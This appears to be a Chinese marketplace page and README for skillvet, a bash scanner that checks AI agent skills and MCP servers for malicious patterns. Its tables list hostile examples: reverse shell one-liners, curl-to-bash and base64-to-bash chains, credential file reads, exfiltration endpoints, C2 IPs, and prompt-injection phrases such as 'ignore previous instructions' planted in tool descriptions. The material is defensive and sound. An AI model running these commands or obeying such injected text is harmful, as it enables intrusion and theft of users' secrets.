mcpField
S
skillvet

skillvet

github.com/oakencore安全1110 次安装34 周前更新
代码仓库

关于 skillvet

skillvet 是一款无需依赖的 Bash Agent Skill 静态安全扫描器,面向 Skill 作者和维护者。它提供多类风险检查、机器可读报告及安装前审计。

主要功能

  1. 0162 项安全检查与 8 类警告
  2. 02支持 JSON 和 SARIF 报告
  3. 03扫描远程、已安装内容及版本差异
  4. 04风险评分与可配置的误报抑制
  5. 05安全安装与提交前扫描

适用场景

  1. 01安装前审计 Agent Skill
  2. 02在 CI 中扫描已安装的 Skill
  3. 03仅检查不同版本间的改动

MCP 相关

skillvet 可扫描 MCP 相关攻击模式,包括工具投毒、命令注入、数据外泄和动态工具定义。

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/oakencore/skillvet --skill skillvet

安装后在 Claude Code 中输入/skillvet确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

docs/plans/
2026-03-04-mcp-checks-implementation-plan.md
2026-03-04-mcp-attack-detection-design.md
scripts/
diff-scan.sh
safe-install.sh
scan-remote.sh
skill-audit.sh
pre-commit-hook
patterns.b64
tests/
fixtures.b64
run-tests.sh

详细介绍

Skillvet

Agent 技能安全扫描器。包含 62 项安全检查和 8 类警告。无依赖项——只需 bash 和 grep。包含受 Tirith 启发的检测模式、MCP 服务攻击检测,以及来自 Koi Security、Bitdefender、Snyk 和 1Password 的攻击活动特征,以及 ClickFix 模式。

用法

安全安装(安装、审计,若存在严重问题则自动移除):

bash skills/skillvet/scripts/safe-install.sh <skill-slug>

审计现有技能:

bash skills/skillvet/scripts/skill-audit.sh skills/some-skill

审计所有已安装的技能:

for d in skills/*/; do bash skills/skillvet/scripts/skill-audit.sh "$d"; done

JSON 输出(用于自动化):

bash skills/skillvet/scripts/skill-audit.sh --json skills/some-skill

SARIF 输出(用于 GitHub Code Scanning / VS Code):

bash skills/skillvet/scripts/skill-audit.sh --sarif skills/some-skill

摘要模式(每个技能一行):

bash skills/skillvet/scripts/skill-audit.sh --summary skills/some-skill

详细模式(调试运行了哪些检查以及扫描了哪些文件):

bash skills/skillvet/scripts/skill-audit.sh --verbose skills/some-skill

扫描远程技能但不安装:

bash skills/skillvet/scripts/scan-remote.sh <skill-slug>

差异扫描(仅扫描不同版本之间的更改内容):

bash skills/skillvet/scripts/diff-scan.sh path/to/old-version path/to/new-version

退出代码:0 无问题,1 仅有警告,2 存在严重问题。

高级选项
标志说明
--json为 CI/仪表板输出 JSON
--sarif为 GitHub Code Scanning 输出 SARIF v2.1.0
--summary每个技能输出一行
--verbose显示运行了哪些检查以及扫描了哪些文件
--exclude-self扫描自身源目录时跳过扫描
--max-file-size N跳过大于 N 字节的文件
--max-depth N限制目录遍历深度
抑制误报

在技能目录中创建 .skillvetrc 文件,以禁用特定检查:

# Disable check #4 (obfuscation) and #20 (shortened URLs)
disable:4
disable:20

也可以添加行内注释,以抑制单独的行:

const url = "https://bit.ly/legit-link"; // skillvet-ignore
提交前钩子

安装 git 提交前钩子,以便在提交前自动扫描技能:

ln -sf ../../scripts/pre-commit-hook .git/hooks/pre-commit
风险评分

每项发现都有严重性权重(1-10)。JSON、SARIF 和摘要输出中均包含汇总风险评分。评分越高,表示模式越危险:

  • 10:反向 shell、已知 C2 IP
  • 9:数据外泄、管道传输至 shell、持久化加网络、ClickFix、执行 base64
  • 7-8:凭据窃取、混淆、路径遍历、定时炸弹
  • 4-6:Punycode、同形异义字、ANSI 注入、缩短的 URL
  • 2-3:子进程执行、网络请求、文件写入

严重检查(自动拦截)

核心安全检查(1-24)
#检查项示例
1已知数据外传端点webhook.site、ngrok.io、requestbin
2批量采集环境变量printenv |、${!*@}
3访问外部凭据脚本中的 ANTHROPIC_API_KEY、TELEGRAM_BOT_TOKEN
4代码混淆base64 解码、十六进制转义、动态代码生成
5路径遍历/敏感文件../../、~/.ssh、~/.clawdbot
6通过 curl/wget 外传数据使用变量的 curl --data、wget --post
7反向/绑定 Shell/dev/tcp/、nc -e、socat
8窃取 .env 文件脚本中加载 dotenv(而非文档)
9Markdown 中的提示词注入SKILL.md 中的“忽略先前的指令”
10利用大模型工具指示发送/通过电子邮件泄露机密
11篡改 Agent 配置写入/修改 AGENTS.md、SOUL.md、clawdbot.json
12Unicode 混淆零宽字符、RTL 覆盖、双向控制字符
13可疑的安装命令SKILL.md 中将 curl 的输出传递给 bash
14社会工程下载外部二进制文件、复制并运行指令
15随附的 .env 文件技能中包含 .env 文件(而非 .example)
16同形异义 URL (Tirith)主机名中的西里尔字母 i 与拉丁字母 i
17ANSI 转义序列 (Tirith)代码/数据文件中的终端转义码
18Punycode 域名 (Tirith)以 xn-- 为前缀的 IDN 编码域名
19双重编码路径 (Tirith)%25XX 百分号编码绕过
20缩短的 URL (Tirith)bit.ly、t.co、tinyurl.com 隐藏目标地址
21管道传递给 Shellcurl | bash(HTTP 和 HTTPS)
22通过字符串构造规避检测String.fromCharCode、getattr、动态拼接调用
23数据流链分析同一文件读取机密、编码数据,并发送网络请求
24定时炸弹检测Date.now() > timestamp、setTimeout(fn, 86400000)
25已知 C2/IOC IP 封锁列表91.92.242.30、54.91.154.110(已知 AMOS C2 服务器)
26受密码保护的压缩包“使用密码 openclaw 解压”——规避杀毒检测
27粘贴服务托管的负载glot.io、pastebin.com 托管恶意脚本
28下载 GitHub Releases 中的二进制文件虚假的前置条件指向 GitHub 上的 .zip/.exe 文件
29Base64 管道传递给解释器echo '...' | base64 -D | bash——macOS 的主要攻击途径
30子进程与网络命令Python/JS 代码中隐藏的管道传递给 Shell 操作
31虚假 URL 误导 (警告)在真实负载前放置诱饵 URL
32进程持久化与网络连接nohup curl ... &——可访问网络的后门
33虚假的前置条件模式包含可疑外部下载内容的“前置条件”章节
34xattr/chmod 投放程序绕过 macOS Gatekeeper:下载、xattr -c、chmod +x、执行
35ClickFix 下载并执行链curl -o /tmp/x && chmod +x && ./x、使用下载文件的 open -a
36可疑的软件包来源pip install git+https://...、从非官方注册表安装 npm 包
37分阶段安装程序模式openclaw-core、some-lib 等虚假依赖名称
38伪造 OS 更新的社会工程“为确保兼容性,需要 Apple Software Update”
39已知的恶意 ClawHub 行为者涉及 zaycv、Ddoy233、Sakaen736jih、Hightower6eu
40Bash /dev/tcp 反向 Shellbash -i >/dev/tcp/IP/PORT 0>&1(AuthTool 模式)
41Nohup 后门带有网络命令的 nohup bash -c '...' >/dev/null
42Python 反向 Shellsocket.connect + dup2、pty.spawn('/bin/bash')
43伪装终端输出在恶意负载前显示诱饵“正在下载……”消息
44访问凭据文件直接读取 .env、.pem、.aws/credentials
45TMPDIR 负载暂存AMOS 模式:将恶意软件放入 $TMPDIR 后执行
46执行 GitHub 原始内容curl raw.githubusercontent.com/... | bash
47Echo 编码的负载回显长 Base64 字符串并通过管道传递给解码器
48仿冒技能名称clawdhub-helper、openclaw-cli、skillvet1
受 Tirith 启发的安全检查(#49-54)

基于 Tirith 的策略即代码模式,用于检测高级混淆和凭据滥用。

#检查项严重性示例
49同形异义 URL 检测9URL 中使用西里尔字母/希腊字母中的相似字符(例如,а 与 a)
50零宽/不可见 Unicode 字符8U+200B、U+200D、双向文本覆盖字符隐藏恶意内容
51Punycode 域名检测9使用 xn-- 编码的 IDN 域名伪装成合法域名
52URL 中的凭据7https://user:pass@host — 密码暴露在 URL 中
53针对点文件的操作9写入 .bashrc、.ssh/authorized_keys、.gitconfig
54URL 缩短器混淆7缩短后的 URL 隐藏恶意目标地址
MCP 安全检查(#55-62)

基于 Invariant Labs、Trail of Bits、Keysight 和 Snyk 对 MCP 服务攻击向量的研究。

#检查项严重性示例
55MCP 工具投毒指令9"description": "ignore previous instructions and..."
56跨服务工具劫持8"when using send_email, always BCC..."
57对话历史窃取9conversation_history 参数、when you see API_KEY
58MCP 处理程序中的命令注入8Shell 执行中的模板字面量、使用 shell=True 的子进程
59批量环境变量窃取9JSON.stringify(process.env)、dict(os.environ)
60云元数据 SSRF9169.254.169.254、metadata.google.internal
61DNS 重绑定暴露(警告)6使用 SSE 传输且服务绑定到 0.0.0.0
62Rug pull/动态工具定义8工具注册附近出现 Date.now()、远程获取工具

警告检查(标记以供审查)

#检查项示例
W1未知的外部工具依赖安装说明中包含非标准 CLI 工具
W2子进程执行child_process、execSync、spawn、subprocess
W3网络请求axios、fetch、requests 导入
W4压缩/打包文件首行超过 500 个字符 — 无法审计
W5文件系统写入操作writeFile、open('w')、fs.append
W6不安全的传输方式curl -k、verify=False — TLS 已禁用
W7Docker 不受信任的镜像仓库非标准镜像源

扫描的文件类型

.md、.js、.ts、.tsx、.jsx、.py、.sh、.bash、.rs、.go、.rb、.c、.cpp、.json、.yaml、.yml、.toml、.txt、.env*、Dockerfile*、Makefile、pom.xml、.gradle。

自动跳过二进制文件。跟随符号链接。

可移植性

适用于 Linux 和 macOS。Unicode 检查(#12、#16、#17)在可用时使用 grep -P,在不支持 Perl 兼容正则表达式的系统(例如,标准版 macOS)上回退到 perl。如果两者均不可用,则静默跳过这些检查。

IOC 更新

检查 #25 中的 C2 IP 黑名单基于已知指标,来源如下:

要更新 IOC,请编辑 scripts/patterns.b64 中的 KNOWN_IPS 条目(Base64 编码的正则表达式模式)。

CI/CD 集成

GitHub Actions

其中包含 .github/workflows/test.yml — 推送或提交 PR 时,会在 Ubuntu 和 macOS 上运行测试套件。

GitHub 代码扫描(SARIF)
- name: Run skillvet
  run: bash scripts/skill-audit.sh --sarif skills/some-skill > results.sarif || true

- name: Upload SARIF
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: results.sarif

限制

仅进行静态分析。提示注入模式主要针对英文。压缩后的 JS 会被标记,但不会进行反混淆处理。扫描结果干净只能提高安全门槛,并不能保证安全。

审计时,扫描器会标记自身——它自身的模式包含它要检测的字符串。在 CI 中使用 --exclude-self 跳过对自身的扫描。

评论

支持 Markdown